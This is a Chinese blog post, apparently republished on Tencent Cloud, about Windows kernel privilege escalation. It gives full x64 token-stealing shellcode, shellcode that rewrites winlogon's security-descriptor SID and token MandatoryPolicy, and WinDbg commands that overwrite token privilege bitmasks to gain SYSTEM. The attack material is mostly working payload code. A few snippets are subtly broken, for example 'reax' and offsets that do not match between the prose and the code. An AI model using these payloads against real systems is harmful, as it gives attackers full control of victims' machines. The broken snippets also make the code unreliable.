前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >windows kernel提权

windows kernel提权

作者头像
鸿鹄实验室
发布2021-12-01 21:01:10
5270
发布2021-12-01 21:01:10
举报
文章被收录于专栏:鸿鹄实验室鸿鹄实验室

前置知识推荐:

https://cloud.tencent.com/developer/article/1471233

http://terminus.rewolf.pl/terminus/

https://ntdiff.github.io/#versionLeft=Win7%2Fx64%2FSystem32&filenameLeft=ntoskrnl.exe&typeLeft=Standalone%2F_KPCR&versionRight=Win10_20H2_20H2%2Fx64%2FSystem32&filenameRight=ntoskrnl.exe&typeRight=Standalone%2F_KPCR

令牌窃取

在Windows中令牌窃取是一个常用于权限提升的技术,再利用过程中必须定位EPROCESS结构,一般我

们会使用常量来定位此类结构,比如在GS中0x188为KTHREAD结构,我们可以通过其来定位其他结构,

我们可以先把它放入R9寄存器中:

代码语言:javascript
复制
mov r9, qword ptr gs:[0x188]

目前我们已经在r9中保存了KTHREAD,下面我们可以来定位Process,也就是在KTHREAD的+0x200 处。

转换为汇编就是:

代码语言:javascript
复制
mov r9, qword ptr[r9+0x220]

由于我们要提升父进程的权限,我们需要找到cmd.exe的 ProcessID

转换成汇编就是:

代码语言:javascript
复制
mov r8, qword ptr[r9+0x540]

下面就是找到它的EPROCESS地址,我们可以在偏移 +0x440 和 +0x448 处看到我们有 ProcessID 和ActiveProcessLinks 结构。

后一个值是可以解析的 EPROCESS 对象的链接列表,其中每个 PID 与属于 cmd.exe 的 PID 进行比较,

保存在 r8 寄存器中。

代码语言:javascript
复制
mov rax, r9
loop1:
mov rax, qword ptr [rax + 0x448]
sub rax, 0x448
cmp qword ptr[rax + 0x440],r8
jne loop1

一旦我们找到了cmd.exe的 EPROCESS 数据结构,我们就可以检查它并在偏移量 0x4b8 处找到 Token 对象。

代码语言:javascript
复制
mov rcx, rax
add rcx, 0x4b8

下面就是在刚才的进程列表中寻找system进程,并复制令牌。

代码语言:javascript
复制
mov rax, r9
loop2:
mov rax, qword ptr [rax +0x448].
sub rax, 0x448
cmp [rax + 0x440], 4
jne loop2
mov rdx, reax
add rdx, 0x4b8

然后就是覆盖令牌

代码语言:javascript
复制
mov rdx, qword ptr [rdx]
mov qword ptr [rcx], rdx
ret

最后的shellcode

代码语言:javascript
复制
[BITS 64]
start:
mov r9, [gs:0x188] ;stores KPROCESS/currentThread value
mov r9, [r9+0x220] ;stores EPROCESS as an offset to KTHREAD
mov r8, [r9+0x540] ;stores InheritedFromUniqueProcessId
(cmd.exe PID)
mov rax, r9 ;moves cmd's EPROCESS into eax
loop1:
mov rax, [rax + 0x448] ;saves the next linked list pointer into
rax
sub rax, 0x448 ;gets the KPROCESS
cmp [rax + 0x440],r8 ;compare the ProcessId with cmd's.
jne loop1 ;if not equal, repeat
mov rcx, rax ;if equal, saves cmd's EPROCESS into rcx
add rcx, 0x4b8 ;store cmd's token into rcx
mov rax, r9 ;moves cmd's EPROCESS into eax
loop2:
mov rax, [rax +0x448] ;saves the next linked list pointer into
rax
sub rax, 0x448 ;gets the KPROCESS
cmp byte [rax + 0x440], 4 ;compare the ProcessId with System(4)
jne loop2 ;if not equal, repeat
mov rdx, rax ;if equal, saves System's EPROCESS into
rdx
add rdx, 0x4b8 ;stores System's token pointer into rdx
mov rdx, [rdx] ;stores System's token value into rdx
mov [rcx], rdx ;replace cmd's original token with
System's
ret

windbg操作,查找system进程:

查看其结构:

在0x4b8处为Token其对应的结构体如下:

其RefCnt为0y1010,即十进制的10,你可以看到其为10,但我们需要取反:

然后启动cmd进程:

替换Token:

ACL修改

ACL为Windows安全模型中重要的一环,在windows(1607 (Build 14393))版本之前的系统中,可以使用

SecurityDescriptor置空来实现对ACL的任意操控,比如某个进程以system进程启动,在具有ACL的情况

下我们在没用相关权限的情况下是无法对其进行操作的,但如果将其ACL置空我们便可以对其进行操

作,然后使用如进程注入之类的技术来进行system权限的shell派生,达到权限提升的操作。

拿explorer为例,查看其结构

代码语言:javascript
复制
!process 0 0 explorer.exe

查看Object结构

代码语言:javascript
复制
!object ffffc08f854ca080

其中的ObjectHeader为结构的具体地址,查看其结构:

可以看到在0X028处为安全描述符。而Body处则是指向进程对象的起始位置。你此时查看其描述是无法 看到的:

因为该地址为伪地址,你需要将其第四位置空,简单来说就是用&操作:

其本质为SecurityDescriptor 指针指向 SECURITY_DESCRIPTOR 对象,该对象包含具有一个或多个 ACCESS_ALLOWED_ACE 结构的 DACL:

代码语言:javascript
复制
typedef struct _SECURITY_DESCRIPTOR {
UCHAR Revision;
UCHAR Sbz1;
SECURITY_DESCRIPTOR_CONTROL Control;
PSID Owner;
PSID Group;
PACL Sacl;
PACL Dacl;
} SECURITY_DESCRIPTOR, *PISECURITY_DESCRIPTOR;

其中AceCount为0x3,说明其包含3个ACE,其类型皆为ACCESS_ALLOWED_ACE_TYPE,且其中一个用 于S-1-5-18:system。

而如果此时你将其置空的话:

代码语言:javascript
复制
eq 0xffffd28d`fcebc763 0

则会触发蓝屏:

这是因为笔者的测试系统为20H2,在windows的1607 之后增加了缓解ACL置空攻击的手段,其伪代码 如下:

代码语言:javascript
复制
if(ObjectHeader.SecurityDescriptor == NULL && (ObjectType.SecurityRequired ||
(ObjectHeader.InfoMask &2) != 0))
{
BugCheckEx(BAD_OBJECT_HEADER);
}

如果想查看ACE的话,可以看到安全描述符的结构(ACE在0x30处):

因为微软并没有提供相关结构,所以只能手工查看:

而我们的目标也就是把S-1-5-18修改为S-1-5-15,即18(0x12) 改成15(0xf)。因为我目前的进程非system 进程,所以查看的话显示的就是15:

所以我换成一个system进程即winlogon进程再来查看:

代码语言:javascript
复制
db ffff9c0a87e44760+48 L1

至于48这个值怎么来的,则是前人总结的结果,而我们只需要修改其为b即可达到我们的效果,修改的信 息:

代码语言:javascript
复制
eb ffff9c0a87e44760+48 b

已变成s-1-5-11。process explore显示如下:

但此时你仍然无法完成利用进程注入派生system进程的过程:

这个跟我们的进程上下文有关,我们可以查看注入进程的Token信息:

代码语言:javascript
复制
dt _Token (poi(ffff818dc050a080+4b8) & fffffffffffffff0)

其中的MandatoryPolicy值为3。而默认winlogon进程的MandatoryPolicy的值为1。

而按照msdn所说只要将其该为0即可注入:

代码语言:javascript
复制
eb (poi(ffff818dc050a080+4b8) & fffffffffffffff0)+0d4 0

此时再进行注入,成功得到system的cmd:

下面就是shellcode的编写了,跟之前的一样通过gs找KTHREAD然后用KTHREAD找EPROCESS

代码语言:javascript
复制
mov r9, [gs:0x188] ;stores KPROCESS/currentThread value
mov r9, [r9+0x220] ;stores EPROCESS as an offset to KTHREAD
mov rax,r9

然后在5a8处找到ImageFileName:

实现:

代码语言:javascript
复制
mov rax, [rax+448h]
procloop:
lea rbx, [rax-448h]
mov rax, [rax]
add rbx, 5a8h
cmp dword ptr [rbx], 6c6e6977h
jne procloop

找到后就是利用其SecurityDescriptor来将其偏移处的地址改为0:

代码语言:javascript
复制
sub rbx, 458h
mov rax, qword ptr [rbx]
and rax, 0FFFFFFFFFFFFFFF0h
add rax, 48h
mov byte ptr [rax], 0bh

然后就是修改令牌:

代码语言:javascript
复制
add rcx, 4b8h
mov rax, qword ptr [rcx]
and rax, 0FFFFFFFFFFFFFFF0h
add rax, 0d4h
mov byte ptr [rax], 0
ret

Token修改

在Token结构体中,有一个名为Privileges的属性,其本质为一个_SEP_TOKEN_PRIVILEGES结构体

而我们则是需要修改该结构体实现权限提升

查看其结构体与其权限:

然后修改我们cmd的结构体:

代码语言:javascript
复制
lkd> eq ffffc70255ded060+0x040 0x0000001f`f2ffffbc
lkd> eq ffffc70255ded060+0x048 0x0000001f`f2ffffbc

此时已获得所有权限:

请严格遵守网络安全法相关条例!此分享主要用于学习,切勿走上违法犯罪的不归路,一切后果自付!

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-11-23,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 鸿鹄实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
命令行工具
腾讯云命令行工具 TCCLI 是管理腾讯云资源的统一工具。使用腾讯云命令行工具,您可以快速调用腾讯云 API 来管理您的腾讯云资源。此外,您还可以基于腾讯云的命令行工具来做自动化和脚本处理,以更多样的方式进行组合和重用。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档